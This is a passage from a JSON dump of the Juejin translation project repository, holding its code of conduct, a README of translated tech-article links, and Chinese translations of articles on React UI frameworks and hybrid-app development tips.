图像识别](https://juejin.im/post/5987f5885188256dcf65d01e?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[lileizhenshuai](https://github.com/lileizhenshuai) 翻译）\n* [深度学习的未来](https://juejin.im/post/597843506fb9a06ba4747db5?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[changkun](https://github.com/changkun) 翻译）\n* [论深度学习的局限性](https://juejin.im/post/5978352a6fb9a06bad6574a4?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[CACppuccino](https://github.com/CACppuccino) 翻译）\n* [使用 Python+spaCy 进行简易自然语言处理](https://juejin.im/post/5971a4b9f265da6c42353332?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[lsvih](https://github.com/lsvih) 翻译）\n* [从金属巨人到深度学习](https://juejin.im/post/596f4cecf265da6c2f0adb04?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[XatMassacrE](https://github.com/XatMassacrE) 翻译）\n* [在使用过采样或欠采样处理类别不均衡的数据后，如何正确的做交叉验证？](https://juejin.im/entry/5976dde9f265da6c2e0fc2f9/detail?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[edvardHua](https://github.com/edvardHua) 翻译）\n* [如何处理机器学习中的不平衡类别](https://juejin.im/post/596f150551882549980c5f56?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[RichardLeeH](https://github.com/RichardLeeH) 翻译）\n* [Scratch 平台的神经网络实现（R 语言）](https://juejin.im/post/5965cf75f265da6c4741adc4?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[CACppuccino](https://github.com/CACppuccino) 翻译）\n* [你会给想学习机器学习的软件工程师提出什么建议？](https://juejin.im/post/596323416fb9a06bae1dff63?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)（[lsvih](https://github.com/lsvih) 翻译）\n"
  },
  {
    "path": "CODE_OF_CONDUCT.md",
    "content": "# Contributor Covenant Code of Conduct\n\n## Our Pledge\n\nIn the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.\n\n## Our Standards\n\nExamples of behavior that contributes to creating a positive environment include:\n\n* Using welcoming and inclusive language\n* Being respectful of differing viewpoints and experiences\n* Gracefully accepting constructive criticism\n* Focusing on what is best for the community\n* Showing empathy towards other community members\n\nExamples of unacceptable behavior by participants include:\n\n* The use of sexualized language or imagery and unwelcome sexual attention or advances\n* Trolling, insulting/derogatory comments, and personal or political attacks\n* Public or private harassment\n* Publishing others' private information, such as a physical or electronic address, without explicit permission\n* Other conduct which could reasonably be considered inappropriate in a professional setting\n\n## Our Responsibilities\n\nProject maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.\n\nProject maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.\n\n## Scope\n\nThis Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.\n\n## Enforcement\n\nInstances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at hi@xitu.io. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.\n\nProject maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.\n\n## Attribution\n\nThis Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]\n\n[homepage]: http://contributor-covenant.org\n[version]: http://contributor-covenant.org/version/1/4/\n"
  },
  {
    "path": "README.md",
    "content": "# 掘金翻译计划\n\n[![xitu](https://camo.githubusercontent.com/c9c9db0a39b56738a62332f0791d58b1522fdf82/68747470733a2f2f7261776769742e636f6d2f616c65656e34322f6261646765732f6d61737465722f7372632f786974752e737667)](https://github.com/xitu/gold-miner)\n[![掘金翻译计划](https://rawgit.com/aleen42/badges/master/src/juejin_translation.svg)](https://github.com/xitu/gold-miner/)\n[![](https://img.shields.io/badge/weibo-%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92-brightgreen.svg)](http://weibo.com/juejinfanyi)\n[![](https://img.shields.io/badge/%E7%9F%A5%E4%B9%8E%E4%B8%93%E6%A0%8F-%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92-blue.svg)](https://zhuanlan.zhihu.com/juejinfanyi)\n\n[掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖[区块链](#区块链)、[人工智能](#ai--deep-learning--machine-learning)、[Android](#android)、[iOS](#ios)、[前端](#前端)、[后端](#后端)、[设计](#设计)、[产品](#产品)、[算法](https://github.com/xitu/gold-miner/blob/master/algorithm.md)和[其他](#其他)等领域，以及各大型优质 [官方文档及手册](#官方文档及手册)，读者为热爱新技术的新锐开发者。\n\n掘金翻译计划目前翻译完成 [4000](#近期文章列表) 余篇文章，官方文档及手册 [13](#官方文档及手册) 个，共有 [1500](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译和校对。\n\n> ## [🥇掘金翻译计划 — 区块链分舵](https://github.com/xitu/blockchain-miner)\n\n# 官方指南\n\n[**推荐优质英文文章到掘金翻译计划**](https://github.com/xitu/gold-miner/issues/new/choose)\n\n<!--\nhttps://github.com/xitu/gold-miner/issues/new?title=推荐优秀英文文章&body=-%20原文链接：推荐文章前%20Google%20一下，尽量保证本文未被翻译%0A-%20简要介绍：介绍一下好不好啦，毕竟小编也看不太懂哎_(:з」∠)_)\n-->\n\n### 翻译计划译者教程\n\n1. [如何参与翻译](https://github.com/xitu/gold-miner/wiki/%E5%A6%82%E4%BD%95%E5%8F%82%E4%B8%8E%E7%BF%BB%E8%AF%91)\n2. [关于如何提交翻译以及后续更新的教程](https://github.com/xitu/gold-miner/wiki/%E5%85%B3%E4%BA%8E%E5%A6%82%E4%BD%95%E6%8F%90%E4%BA%A4%E7%BF%BB%E8%AF%91%E4%BB%A5%E5%8F%8A%E5%90%8E%E7%BB%AD%E6%9B%B4%E6%96%B0%E7%9A%84%E6%95%99%E7%A8%8B)\n3. [如何参与校对及校对的正确姿势](https://github.com/xitu/gold-miner/wiki/%E5%8F%82%E4%B8%8E%E6%A0%A1%E5%AF%B9%E7%9A%84%E6%AD%A3%E7%A1%AE%E5%A7%BF%E5%8A%BF)\n4. [文章分享到掘金指南](https://github.com/xitu/gold-miner/wiki/%E5%88%86%E4%BA%AB%E5%88%B0%E6%8E%98%E9%87%91%E6%8C%87%E5%8D%97)\n5. [译文排版规则指北](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E6%96%87%E6%8E%92%E7%89%88%E8%A7%84%E5%88%99%E6%8C%87%E5%8C%97)\n\n\n# 近期文章列表\n\n## 官方文档及手册\n\n* [年度总结系列](https://github.com/xitu/Annual-Survey)\n* [TensorFlow 中文文档](https://github.com/xitu/tensorflow-docs)\n* [The JavaScript Tutorial](https://github.com/xitu/javascript-tutorial-zh)\n* [ML Kit 中文文档](https://github.com/Quorafind/MLkit-CN)\n* [GraphQL 中文文档](https://github.com/xitu/graphql.github.io)\n* [Under-the-hood-ReactJS 系列教程](https://github.com/xitu/Under-the-hood-ReactJS)\n* [系统设计入门教程](https://github.com/xitu/system-design-primer)\n* [Google Interview University 面试指北](https://github.com/xitu/google-interview-university)\n* [前端开发者指南（2017）](https://github.com/xitu/front-end-handbook-2017)\n* [前端开发者指南（2018）](https://github.com/xitu/front-end-handbook-2018)\n* [Awesome Flutter](https://github.com/xitu/awesome-flutter)\n* [macOS Security and Privacy Guide](https://github.com/xitu/macOS-Security-and-Privacy-Guide)\n* [State of Vue.js report 2017 中文版](https://github.com/xitu/gold-miner/blob/master/TODO/state-of-vue-report-2017.md)\n* [Next.js 轻量级 React 服务端渲染应用框架中文文档](http://nextjs.frontendx.cn/)\n\n## 区块链\n\n* [属于 JavaScript 开发者的 Crypto 简介](https://juejin.im/post/5ce0c39a51882525f07ef0fa) ([Xuyuey](https://github.com/Xuyuey) 翻译)\n* [我们为什么看好加密收藏品（NFT）的前景](https://juejin.im/post/5cb87819518825329e7ea61e) ([portandbridge](https://github.com/portandbridge) 翻译)\n* [2019 区块链平台与技术展望](https://juejin.im/post/5c613e6e6fb9a049e4132ba5) ([gs666](https://github.com/gs666) 翻译)\n* [以太坊入门指南](https://juejin.im/post/5c1080fbe51d452b307969a3) ([gs666](https://github.com/gs666) 翻译)\n* [以太坊入门：互联网政府](https://juejin.im/post/5c03c68851882551236eaa82) ([newraina](https://github.com/newraina) 翻译)\n* [所有区块链译文>>](https://github.com/xitu/gold-miner/blob/master/blockchain.md)\n\n## 人工智能\n\n* [机器学习系统设计相关面试问题的剖析](https://juejin.cn/post/7109306303285051406)（[caiyundong](https://github.com/caiyundong) 翻译）\n* [如何使用 Python 管道 Pipe 高效编码](https://juejin.cn/post/7051051681357758494)（[zenblofe](https://github.com/zenblofe) 翻译）\n* [使用人工智能/机器学习构建文章推荐引擎](https://juejin.cn/post/7001479252163952670)（[jaredliw](https://github.com/jaredliw) 翻译）\n* [AI 是否已经成为内容营销的重要组成部分？](https://juejin.cn/post/6964280632801394724)（[5Reasons](https://github.com/5Reasons) 翻译）\n* [Google 的 Apollo 芯片设计人工智能框架将深度学习芯片的性能提高了 25％](https://juejin.cn/post/6952819856429285407)（[PingHGao](https://github.com/PingHGao) 翻译）\n* [所有 AI 译文>>](https://github.com/xitu/gold-miner/blob/master/AI.md)\n\n## Android\n\n* [6 条 Jetpack Compose 指南帮你优化 App 性能](https://juejin.cn/post/7153803045418041358)（[Quincy-Ye](https://github.com/Quincy-Ye) 翻译）\n* [React Native 开发者的流行存储方案](https://juejin.cn/post/7008020729832669191)（[KimYangOfCat](https://github.com/KimYangOfCat) 翻译）\n* [Jetpack Compose：样式和主题（第二部分）](https://juejin.cn/post/6995419287435345934)（[Kimhooo](https://github.com/Kimhooo) 翻译）\n* [探索 ANDROID 12：启动画面](https://juejin.cn/post/6983942336824737822)（[Kimhooo](https://github.com/Kimhooo) 翻译）\n* [Jetpack Compose：更简便的 RecyclerView（第一部分）](https://juejin.cn/post/6970858140824764424)（[Kimhooo](https://github.com/Kimhooo) 翻译）\n* [所有 Android 译文>>](https://github.com/xitu/gold-miner/blob/master/android.md)\n\n## iOS\n\n* [2021 的 SwiftUI：好处、坏处以及丑处](https://juejin.cn/post/7140825514108780580)（[earthaYan](https://github.com/earthaYan) 翻译）\n* [4 个鲜为人知的 Swift 特性](https://juejin.cn/post/7069326429397205005)（[jaredliw](https://github.com/jaredliw) 翻译）\n* [React Native 开发者的流行存储方案](https://juejin.cn/post/7008020729832669191)（[KimYangOfCat](https://github.com/KimYangOfCat) 翻译）\n* [逆向 `.car` 文件（已编译的 Asset Catalogs）](https://juejin.cn/post/7002491722550919198)（[LoneyIsError](https://github.com/LoneyIsError) 翻译）\n* [Swift 中的内存布局](https://juejin.cn/post/6986520506002472973)（[LoneyIsError](https://github.com/LoneyIsError) 翻译）\n* [所有 iOS 译文>>](https://github.com/xitu/gold-miner/blob/master/ios.md)\n\n## 前端\n\n* [全面刨析 CSS-in-JS](https://juejin.cn/post/7172360607201493029)（[Tong-H](https://github.com/Tong-H) 翻译）\n* [WebRTC 与 WebSockets 教程 — Web 端的实时通信](https://juejin.cn/post/7138015673850003493)（[DylanXie123](https://github.com/DylanXie123) 翻译）\n* [ES2022 有什么新特性？](https://juejin.cn/post/7114676836851777566)（[CarlosChenN](https://github.com/CarlosChenN) 翻译）\n* [作为一名前端工程师我浪费时间学习了这些技术](https://juejin.cn/post/7086019601372282888)（[airfri](https://github.com/airfri) 翻译）\n* [过度使用懒加载对 Web 性能的影响](https://juejin.cn/post/7074759905197948935)（[Tong-H](https://github.com/Tong-H) 翻译）\n* [如何在网页中使用响应式图像](https://juejin.cn/post/7074199947477778439)（[zenblofe](https://github.com/zenblofe) 翻译）\n* [如何编写更简洁优雅的 React 代码](https://juejin.cn/post/7070479272380465166)（[zenblofe](https://github.com/zenblofe) 翻译）\n* [用 PNPM Workspaces 替换 Lerna + Yarn](https://juejin.cn/post/7071992448511279141)（[CarlosChenN](https://github.com/CarlosChenN) 翻译）\n* [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)\n\n## 后端\n\n* [实现 Bitcask ，一种日志结构的哈希表](https://juejin.cn/post/7174345557861728292)（[wangxuanni](https://github.com/wangxuanni) 翻译）\n* [用 Isabelle/HOL 验证分布式系统](https://juejin.cn/post/7166450887626326030)（[wangxuanni](https://github.com/wangxuanni) 翻译）\n* [十大 Java 语言特性](https://juejin.cn/post/7140097107000000520)（[jaredliw](https://github.com/jaredliw) 翻译）\n* [使用令牌桶和熔断器进行重试](https://juejin.cn/post/7153093426446237727)（[wangxuanni](https://github.com/wangxuanni) 翻译）\n* [WebRTC 与 WebSockets 教程 — Web 端的实时通信](https://juejin.cn/post/7138015673850003493)（[DylanXie123](https://github.com/DylanXie123) 翻译）\n* [微服务架构何时会是一种坏选择](https://juejin.cn/post/7135364257918484488)（[DylanXie123](https://github.com/DylanXie123) 翻译）\n* [如何使用 Python 中的 PyPA setuptools 打包和部署 CLI 应用程序](https://juejin.cn/post/7125323312321789989)（[haiyang-tju](https://github.com/haiyang-tju) 翻译）\n* [10 个最难的 Python 问题](https://juejin.cn/post/7124285689717325831)（[jaredliw](https://github.com/jaredliw) 翻译）\n* [所有后端译文>>](https://github.com/xitu/gold-miner/blob/master/backend.md)\n\n## 设计\n\n* [5个关于 UI 设计系统的误解](https://juejin.cn/post/7086291006286462990)（[CarlosChenN](https://github.com/CarlosChenN) 翻译）\n* [别让轮播毁了你的应用程序](https://juejin.cn/post/7003637296050225189)（[jaredliw](https://github.com/jaredliw) 翻译）\n* [为 Web 开发同学准备的 11 个简单实用的 UI 设计小技巧](https://juejin.cn/post/6960922956876742669)（[5Reasons](https://github.com/5Reasons) 翻译）\n* [你有设计作品的作品集吗？挺好的，但这还不够](https://juejin.cn/post/6934328263011467277)（[PassionPenguin](https://github.com/PassionPenguin) 翻译）\n* [构建设计系统和组件库](https://juejin.cn/post/6924152501805678606)（[Charlo-O](https://github.com/Charlo-O) 翻译）\n* [所有设计译文>>](https://github.com/xitu/gold-miner/blob/master/design.md)\n\n## 产品\n\n* [Github Actions 是如何渲染超大日志的](https://juejin.cn/post/6966082485226569759)（[felixliao](https://github.com/felixliao) 翻译）\n* [算法不是产品](https://juejin.im/post/5e398e806fb9a07cb52bb462)（[fireairforce](https://github.com/fireairforce) 翻译）\n* [利用 84 种认知偏见设计更好的产品 —— 第三部分](https://juejin.im/post/5d568c9ce51d453bc64801cd)（[JalanJiang](https://github.com/JalanJiang) 翻译）\n* [想帮助用户做决定？你的 APP 可以这样设计！](https://juejin.im/post/5a7194986fb9a01c9f5bbbb2)（[pthtc](https://github.com/pthtc) 翻译）\n* [利用 84 种认知偏见设计更好的产品 —— 第二部分](https://juejin.im/post/5d37e1816fb9a07ee1696a4e)（[JalanJiang](https://github.com/JalanJiang) 翻译）\n* [所有产品译文>>](https://github.com/xitu/gold-miner/blob/master/product.md)\n\n## 其他\n\n* [自动化测试：你应当了解的一切](https://juejin.cn/post/7084071159821500447)（[samyu2000](https://github.com/samyu2000) 翻译）\n* [使用了三个月的 Github Copilot，这是我的一些看法……](https://juejin.cn/post/7067817036738461732)（[jaredliw](https://github.com/jaredliw) 翻译）\n* [5 个有趣的原因告诉你：找对象就得找程序员！](https://juejin.cn/post/7053326045352558599)（[jaredliw](https://github.com/jaredliw) 翻译）\n* [WasmEdge 的安装与卸载](https://github.com/xitu/gold-miner/blob/master/article/2022/Install-and-uninstall-WasmEdge.md)（[jaredliw](https://github.com/jaredliw) 翻译）\n* [使用 Python 模拟实现行星际空间旅行](https://juejin.cn/post/7047685861365776414)（[zenblofe](https://github.com/zenblofe) 翻译）\n* [所有其他分类译文>>](https://github.com/xitu/gold-miner/blob/master/others.md)\n\n# Copyright\n\n> **版权声明：**[掘金翻译计划](https://github.com/xitu/gold-miner)译文仅用于学习、研究和交流。版权归[掘金翻译计划](https://github.com/xitu/gold-miner/)、文章作者和译者所有，欢迎非商业转载。转载前请联系译者或[管理员](https://user-images.githubusercontent.com/8282645/118856035-10a49d80-b909-11eb-8561-00a5a16bd58a.png)获取授权，并在文章开头明显位置注明本文出处、译者、校对者和掘金翻译计划的完整链接，违者必究。\n\n# 合作伙伴\n\n<a href=\"http://www.ituring.com.cn/\" target=\"_blank\"><img src=\"https://i.loli.net/2018/03/21/5ab1c8723d6de.jpg\" width=\"130px;\"/></a>\n\n"
  },
  {
    "path": "TODO/10-best-reactjs-ui-frameworks-for-rapid-prototyping.md",
    "content": "> * 原文地址：[10 Best ReactJS UI Frameworks for rapid prototyping](https://hashnode.com/post/10-best-reactjs-ui-frameworks-for-rapid-prototyping-cit49tqx414z89c53equ4zc5k?utm_source=Feed%20Digest&utm_medium=email&utm_campaign=Hashnode%20Feed%20Digest)\n* 原文作者：[Tom Alter](https://hashnode.com/@tomasp)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[cyseria](https://github.com/cyseria)\n* 校对者：[Zheaoli](https://github.com/Zheaoli),[Grace-xhw](https://github.com/Grace-xhw)\n\n# 快速构建原型最好用的 10 个 ReactJS UI 框架\n\n我正在探索一些基于 React 的，可以很好的和 React 组件结合起来，并且能直接在你的 React 项目中插入使用的功能丰富的 UI 框架。\n\n下面列举了一些基于 ReactJS 编译的 UI 框架（排名不分先后），希望以下内容的能帮助你快速用 ReactJS 原型实现你的想法：\n\n* * *\n\n## Material UI\n\nMaterial-UI 是基于 Google 的质感设计（Material Design）产生的一套丰富的 React 组件。\n\n在数以百计的 UI 框架中，Material UI 是最准确的实现了质感设计的一个 UI 框架。\n\n![Material UI](http://ac-Myg6wSTV.clouddn.com/74e8beb9a9a7c43a5b98.jpg)\n\n[主页](http://www.material-ui.com/) | [案例](http://www.material-ui.com/#/components/)\n\n* * *\n\n## React-Bootstrap\n\n这个还要解释吗？毫无疑问 Bootstrap 是这里最受欢迎的 UI 框架。\n\nBootstrap 是最先进的 UI 框架之一并且能帮我们做大部分的事情。这个就是 Bootstrap 3 的 React 组件。\n\n![React-Bootstrap](http://ac-Myg6wSTV.clouddn.com/f31c2cefeb94bdf497a7.jpg)\n\n[主页](https://react-bootstrap.github.io/) | [案例](https://react-bootstrap.github.io/components.html) | [GitHub](https://github.com/react-bootstrap/react-bootstrap/)\n\n* * *\n\n## React-Foundation\n\n来自 Zurb 的 [Foundation](http://foundation.zurb.com/) 是一个功能丰富且很容易自定义的库，也是目前最受欢迎的 UI 框架之一。\n\nReact-Foundation 是在形式上用 Foundation UI 实现的 React 组件。\n\n![React-Foundation](http://ac-Myg6wSTV.clouddn.com/d2242b9051b0459ca781.jpg)\n\n[主页](https://react.foundation) | [GitHub](https://github.com/nordsoftware/react-foundation)\n\n* * *\n\n## Essence\n\nEssence 是一个用 ReactJS 实现了谷歌的 Material Design 规范的 CSS 框架。使用 Essence 你可以快速构建一个很好看的很棒的响应式网站（ web 端和移动端）。\n![Essence](http://ac-Myg6wSTV.clouddn.com/0804b37102c26cba94ae.jpg)\n\n[主页](http://getessence.io/home) | [案例](http://getessence.io/core)\n\n* * *\n\n## React-MDL\n\nReact-MDL 是用 React 实现的已经火了很久的谷歌的 [轻质感设计(Material Design Light)](https://www.getmdl.io/components/index.html) 框架。\n\nMDL 作为一个轻质感设计的 CSS 框架，致力于在保持 UI 的小巧轻便的同时保留质感设计的概念。\n\n![React-MDL](http://ac-Myg6wSTV.clouddn.com/586b70dd05495a6b1d6e.jpg)\n\n[主页](https://tleunen.github.io/react-mdl/) | [案例](https://tleunen.github.io/react-mdl/components/)\n\n* * *\n\n## Belle\n\nBelle 给你提供了一个的 React 组件的集合，像开关、下拉列表、等级评定、文本框、按钮、卡片、选择框等等。\n\n所有的组件都能在移动端和桌面上极优的运行。他有两个级别给你来做高度的自定义，你可以配置所有组件的基本样式或者随意修改其中的某一个。\n\n![Belle](http://ac-Myg6wSTV.clouddn.com/94ad593d2f1d45038640.jpg)\n\n[主页](http://nikgraf.github.io/belle/) | [GitHub](https://github.com/nikgraf/belle)\n\n* * *\n\n## Elemental-UI\n\n\nElemental-UI 是一个高质量的模块化的，能够用 React 来控制并且从一开始就被定义为能自然实现 React 模式的 UI 脚手架组件\n\nElemental-UI 借鉴了很多 UI 组件库的灵感，看起来就像是一个增强版的 Bootstrap。如果你是他的粉丝你一定要去试试。\n\n![Elemental-UI](https://res.cloudinary.com/hashnode/image/upload/v1473939642/a2jwc8adyvu8poz7tdkf.jpg)\n\n[主页](http://elemental-ui.com/) | [Github](https://github.com/elementalui/elemental)\n\n* * *\n\n## MUI\n\n\nMUI 是一个借鉴 Material Design 规范的一个轻量级 CSS 框架。MUI 只提供 CSS 和 JS，有 React 和 Angular 这两个版本。\n![MUI](http://ac-Myg6wSTV.clouddn.com/b6be8f80db46838e9757.jpg)\n\n[主页](https://www.muicss.com/) | [GitHub](https://github.com/muicss/mui)\n\n* * *\n\n## Grommet\n\n\nGrommet 是一个基于 ReactJS 用 JavaScript 提供了的一个很好的构造用户界面的例子。\n\nGrommet 是开发者 HP 开发的，他们宣称这是在企业应用中有最好的用户体验的框架。\n\n![Grommet](https://res.cloudinary.com/hashnode/image/upload/v1473939674/xmnvbzrenzzik5qwaomb.jpg)\n\n[主页](https://grommet.github.io/) | [Demo](https://grommet.github.io/docs/get-started) | [GitHub](https://github.com/grommet/grommet)\n\n* * *\n\n## React Toolbox\n\nReact Toolbox 又是一个采用 Google 的 Material Design 的 UI 库，并且采用了一些最新的构建方法，像 CSS 模块化（用 SASS 编写），Webpack 和 ES6。这个库完美的结合了 Webpack 工作流，并且拥有非常容易的个性化配置以及非常灵活。\n\n![React Toolbox](https://res.cloudinary.com/hashnode/image/upload/v1473939692/o7lv8dqddvutdyxtca7f.jpg)\n\n[主页](http://react-toolbox.com/) | [案例](http://react-toolbox.com/#/components) | [GitHub](http://www.github.com/react-toolbox/react-toolbox)\n\n* * *\n\n## Ant Design of React\n\nAnt Design 是一个中国公司（蚂蚁金服）设计的 React 库，基于他们自己项目的设计规范。是一套由 React 构建的漂亮的完整 UI 组件，采用 Material Design 设计原则。\n\n他们正在寻找志愿者来完善他们的英文翻译（例如，时间选择器组件需要翻译），如果你有兴趣，请查看 [这个issue](https://github.com/ant-design/ant-design/issues/1471)。\n\n\n![Ant Design of React](https://res.cloudinary.com/hashnode/image/upload/v1473940606/usrcytdcrzdnhi71ijlj.jpg)\n\n[主页](http://beta.ant.design/docs/react/introduce) | [GitHub](https://github.com/ant-design/ant-design)\n\n## 总结\n这里只是一个我收集到的框架的一个简单列表，希望他能帮到大家。\n如果有漏掉什么其他框架，欢迎评论。😊\n\n\n\n"
  },
  {
    "path": "TODO/10-steps-to-better-hybrid-apps.md",
    "content": ">* 原文链接 : [10 steps to better hybrid apps](https://medium.com/net-magazine/10-steps-to-better-hybrid-apps-e8e33831ea5e#.4fh1wbsy9)\n* 原文作者 : [Oliver Lindberg](https://medium.com/@oliverlindberg)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Yves X](https://github.com/Yves-X)\n* 校对者: [Malcolm](https://github.com/malcolmyu), [circlelove](https://github.com/circlelove)\n\n# 10 步带你做一个棒棒的 Hybrid 应用\n\n**随着 Hybrid 应用人气渐涨，人们创造了越来越多的工具帮助开发者高效创建跨平台应用。** [**James Miller**](https://twitter.com/jimhunty) **介绍了 10 条建议以助你得到最佳成果。** \n\n![](https://cdn-images-1.medium.com/max/1200/1*AaxKJp4gFBPiMv8mYqJvjA.jpeg)\n\n<figcaption>插图来自 [Luke O’Neill](http://lukeoneill.co.uk)</figcaption>\n\n为手机和平板开发应用程序并非移动开发者的专利。如今 Web 开发者可以通过原生应用封装工具，使用 HTML、CSS 与 JavaScript 来构建自己的应用，而无需了解任何设备特定代码。这种方式使用设备的 Web 视图，像浏览器一般去展示 Hybrid 应用中基于 Web 的代码。在这 10 条建议的帮助下，你将把自己的 Hybrid 应用打造得尽善尽美。\n\n#### **1\\. 规划**\n\n在开始开发前规划你的应用能避开许多坑，带来更成功的结果。开发过程中的很多情况，应该在规划阶段中考虑清楚。\n\nHybrid 应用使用的 Web 视图实际上是按比例缩小的浏览器，你需要预见到，那些存在于传统浏览器的问题，在这里也同样存在。理解你的目标受众及其期望，有助于明确你的应用的技术短板。这可以与设备分析一道，帮助你发掘潜在性能，并达到更高的性能指标。\n\n一旦你知道你的目标受众想要什么，你需要考虑发行渠道。Google Play 和 Apple 的 App Store 是最大的两个生态系统。为了在这些商店上架你的应用，你必须确定你的应用遵循它们的准则。\n\nGoogle Play 对应用审查提供了更多回溯渠道，发行也相对容易。然而举报能使你的应用遭到移除。遵循这份[准则](https://play.google.com/about/developer-content-policy.html?rd=1)会让你的应用更有望列入精选。\n\nApple 有更严格的[准则](https://developer.apple.com/app-store/review/guidelines/)，堪称一项挑战。你需要整合手机的原生功能，而非构建一个 Web 应用了事。需要整合的功能包含相机、定位和其它一些功能，在适当的框架下它们能通过 JavaScript 插件调用。不要仅仅为了迎合商店准则去添加功能，要确认它们真的是用户想要的。\n\n![](https://cdn-images-1.medium.com/max/800/1*KpdzFI7j0VnryX4qGKWIkQ.jpeg)\n\n<figcaption>**避免违规** 使用 Google Play 的内容审查工具把那些可能违规的国家从你的发行列表中移除。</figcaption>\n\n#### 2\\. 市场考虑\n\n应用程序是一种全球性产品，但不像 Web 一般开放，它们主要可用于特定国家的应用商城。每个国家有其不同的文化和法律。不要假设你的应用全球通吃，这很重要——在一个不合适的国家上架，对你的品牌弊大于利。\n\n同样重要的是注意欲发行国家的网络局限性。并非处处都有快如闪电的移动互联网接入或 Wi-Fi 热点。即使你的应用不是面向新兴市场，网络连接依然是个问题。使应用的网络请求轻量一些，并试着保持最少吧。\n\n#### 3\\. 可扩展性\n\n无论是登录还是更新数据，大多数应用程序需要一个网络组件。这需要一些形式的服务器与 API。当你的应用俘获了更多用户，这份压力会加诸你的后端，像是超时和错误等会愈演愈烈。为了避免这个问题，计划好你的后端将如何升级很重要。你的 API 应该遵循 REST 风格的接口模式来建立一个工作标准。还要考虑加以验证，因为一个开放的 API 可能会遭到滥用。终端也必须正确管理，因为一旦应用发布，鉴于审查流程，可能需要数周才能让更新版本得以运行。\n\n也许有朝一日你的 API 会收到过多请求然后挂掉。别急着投资于更多服务器，现有大量的后端即服务（BaaS）可选择，包括 [Parse](http://parse.com) 和 [Firebase](http://firebase.com) 在内，它们可以助你搞定这个问题。它们储存你的数据，并常提供基于你的数据结构和认证方式的标准 API。 还有许多基于用量的免费套餐。在全球覆盖、优良技术和强力网络的支持下，你知道自己应用的网络部件将有良好性能。\n\n![](https://cdn-images-1.medium.com/max/800/1*RslHAZKu3bZscXv6ERaHZQ.jpeg)\n\n<figcaption>**Parse** Facebook 的 BaaS 解决方案，使你不再需要投资于私有服务器</figcaption>\n\n#### 4\\. 性能\n\n在用 Web 视图呈现的 Hybrid 应用中，老掉牙的多浏览器和多操作系统支持程度不同的问题又会出现。这在 Web 上用渐进增强解决，同样的策略亦可用于 Hybrid 以提供平滑的跨平台体验。\n\n拥有太多后台进程会逐渐榨干电量、拖低性能。考虑使用像 AngularJS 或者 Ember.js 这样的框架将你的应用构建为单页应用吧。这会使你结构化你的代码，使你的应用更易维护。这个通行做法将保证更好的性能，并减少内存泄漏的可能。像是 Ionic 这样包含了 Cordova、AngularJS 以及自有 UI 组件的框架，用于构建快速原型和最终产品都不赖。\n\n在移动设备上，CSS 动画的性能比 JavaScript 更好。试着以每秒 60 帧为目标，给应用原生感，并且在可以使动画更带感的地方使用硬件加速。\n\n![](https://cdn-images-1.medium.com/max/800/1*dKzEwQWP3ArLAUfSJh5ZWg.jpeg)\n\n<figcaption>**便捷框架** Ionic 框架提供了结构化的方法来构建你的 Hybrid 应用</figcaption>\n\n#### 5\\. 交互设计\n\n近乎所有移动设备都主要靠触控操作。基于这种认识，尽量跳出 Web 的局限来思考，使用基于手势的简单交互，让你的应用体验尽量直观。触屏设备没有 hover 状态，所以要考虑换用 active 和 visited 状态之类的视觉提示。\n\n> 跳出 Web 的局限来思考，使用基于手势的简单交互，让你的应用体验尽量直观\n\n在触屏设备上，用户触摸屏幕到事件被触发之间有 300 毫秒的延迟。这是由于 Web 视图等着确认是单击还是双击。尽管乍一听并不长，但这延迟是可察觉的。为了克服它，在你的项目中添加 [FastClick](http://github.com/ftlabs/fastclick) 脚本库并在 body 对它实例化。\n\n#### 6\\. 响应式设计\n\n如今设备的屏幕尺寸千差万别，涵盖了广泛的分辨率。所幸响应式设计原则仍然适用于 Hybrid 